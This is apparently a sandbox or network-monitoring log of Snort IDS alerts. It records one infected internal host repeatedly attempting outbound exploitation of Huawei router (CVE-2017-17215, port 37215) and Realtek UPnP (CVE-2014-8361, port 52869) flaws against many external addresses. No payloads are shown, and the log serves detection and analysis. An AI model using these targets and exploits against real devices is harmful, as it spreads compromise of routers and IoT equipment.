Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55066 -> 34.108.209.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55066 -> 34.108.209.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48196 -> 20.255.176.224:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48196 -> 20.255.176.224:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33022 -> 41.133.211.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33022 -> 41.133.211.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48814 -> 157.176.38.133:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48814 -> 157.176.38.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47244 -> 157.169.76.138:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47244 -> 157.169.76.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54602 -> 182.92.42.223:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54602 -> 182.92.42.223:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59708 -> 41.162.253.225:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59708 -> 41.162.253.225:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38156 -> 197.251.233.95:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38156 -> 197.251.233.95:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52820 -> 197.1.29.38:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52820 -> 197.1.29.38:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:59668 -> 197.219.149.250:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:59668 -> 197.219.149.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55442 -> 178.230.194.125:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55442 -> 178.230.194.125:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58804 -> 197.162.71.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58804 -> 197.162.71.183:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47380 -> 41.7.140.134:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47380 -> 41.7.140.134:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49420 -> 197.164.89.253:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49420 -> 197.164.89.253:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48658 -> 197.140.115.187:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48658 -> 197.140.115.187:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55552 -> 83.35.196.3:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55552 -> 83.35.196.3:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34876 -> 44.121.163.52:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34876 -> 44.121.163.52:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:42418 -> 216.125.26.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:42418 -> 216.125.26.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55870 -> 157.104.229.164:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55870 -> 157.104.229.164:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60356 -> 205.50.160.163:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60356 -> 205.50.160.163:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38188 -> 197.199.57.112:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38188 -> 197.199.57.112:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:46082 -> 197.146.154.155:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:46082 -> 197.146.154.155:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50780 -> 157.16.29.198:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50780 -> 157.16.29.198:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50200 -> 41.162.208.185:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50200 -> 41.162.208.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43092 -> 221.44.210.72:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43092 -> 221.44.210.72:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52988 -> 157.248.175.173:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52988 -> 157.248.175.173:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45038 -> 111.61.149.252:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45038 -> 111.61.149.252:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50524 -> 157.173.171.152:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50524 -> 157.173.171.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55246 -> 197.55.78.55:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55246 -> 197.55.78.55:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41310 -> 157.217.24.18:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41310 -> 157.217.24.18:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48038 -> 216.15.194.11:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48038 -> 216.15.194.11:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37320 -> 157.245.216.156:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37320 -> 157.245.216.156:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:32936 -> 197.52.85.28:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:32936 -> 197.52.85.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47464 -> 78.250.115.189:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47464 -> 78.250.115.189:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:34532 -> 157.241.6.192:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:34532 -> 157.241.6.192:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47548 -> 41.1.217.148:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47548 -> 41.1.217.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:58290 -> 4.49.242.168:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:58290 -> 4.49.242.168:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55852 -> 41.246.170.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55852 -> 41.246.170.171:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:48076 -> 41.101.127.58:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:48076 -> 41.101.127.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:43782 -> 166.151.137.80:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:43782 -> 166.151.137.80:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45658 -> 41.10.96.101:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45658 -> 41.10.96.101:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39416 -> 168.198.240.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39416 -> 168.198.240.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37364 -> 197.14.81.255:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37364 -> 197.14.81.255:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51542 -> 197.210.73.76:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51542 -> 197.210.73.76:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:36400 -> 197.37.162.85:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:36400 -> 197.37.162.85:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:39504 -> 41.52.21.44:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:39504 -> 41.52.21.44:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:33952 -> 184.222.40.221:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:33952 -> 184.222.40.221:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:54880 -> 41.160.200.207:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:54880 -> 41.160.200.207:37215
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60906 -> 162.144.96.77:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60906 -> 162.144.96.77:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:38600 -> 217.58.36.234:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:38600 -> 217.58.36.234:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:52370 -> 113.59.43.68:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:52370 -> 113.59.43.68:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:37090 -> 44.227.239.111:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:37090 -> 44.227.239.111:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:58808 -> 8.28.61.99:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:58808 -> 8.28.61.99:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:59330 -> 107.205.165.229:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:59330 -> 107.205.165.229:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:55596 -> 185.59.206.11:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:55596 -> 185.59.206.11:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:59786 -> 73.203.24.52:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:59786 -> 73.203.24.52:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48646 -> 209.99.231.53:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48646 -> 209.99.231.53:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:57064 -> 194.217.196.209:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:57064 -> 194.217.196.209:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42446 -> 222.31.20.54:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42446 -> 222.31.20.54:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42632 -> 102.181.59.60:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42632 -> 102.181.59.60:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:49320 -> 14.134.150.109:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:49320 -> 14.134.150.109:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:40676 -> 217.115.151.81:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:40676 -> 217.115.151.81:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42266 -> 8.126.91.237:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42266 -> 8.126.91.237:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:41042 -> 189.209.128.109:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:41042 -> 189.209.128.109:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:46618 -> 1.160.86.11:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:46618 -> 1.160.86.11:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:45616 -> 223.10.231.163:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:45616 -> 223.10.231.163:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:45686 -> 18.50.207.232:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:45686 -> 18.50.207.232:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:39006 -> 120.127.21.138:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:39006 -> 120.127.21.138:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:54014 -> 116.118.210.76:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:54014 -> 116.118.210.76:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:43734 -> 203.39.100.182:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:43734 -> 203.39.100.182:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:60064 -> 206.49.109.215:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:60064 -> 206.49.109.215:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:42578 -> 187.182.235.57:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:42578 -> 187.182.235.57:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:53954 -> 203.62.78.235:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:53954 -> 203.62.78.235:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:57284 -> 64.61.109.158:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:57284 -> 64.61.109.158:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:37910 -> 90.4.66.163:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:37910 -> 90.4.66.163:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:55586 -> 126.171.98.117:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:55586 -> 126.171.98.117:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:49796 -> 151.94.173.235:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:49796 -> 151.94.173.235:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:47514 -> 169.249.196.201:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:47514 -> 169.249.196.201:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48858 -> 210.2.46.1:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48858 -> 210.2.46.1:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:58502 -> 32.52.148.97:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:58502 -> 32.52.148.97:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:54092 -> 13.3.106.56:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:54092 -> 13.3.106.56:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:39414 -> 133.58.253.32:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:39414 -> 133.58.253.32:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:51758 -> 65.211.208.187:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:51758 -> 65.211.208.187:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:48182 -> 109.51.3.47:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:48182 -> 109.51.3.47:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:47828 -> 96.224.29.242:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.15:47828 -> 96.224.29.242:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.15:36584 -> 89.186.152.105:52869
